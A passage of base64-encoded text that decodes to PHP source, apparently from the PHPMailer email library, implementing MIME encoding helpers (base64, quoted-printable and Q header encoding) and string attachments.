lY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAg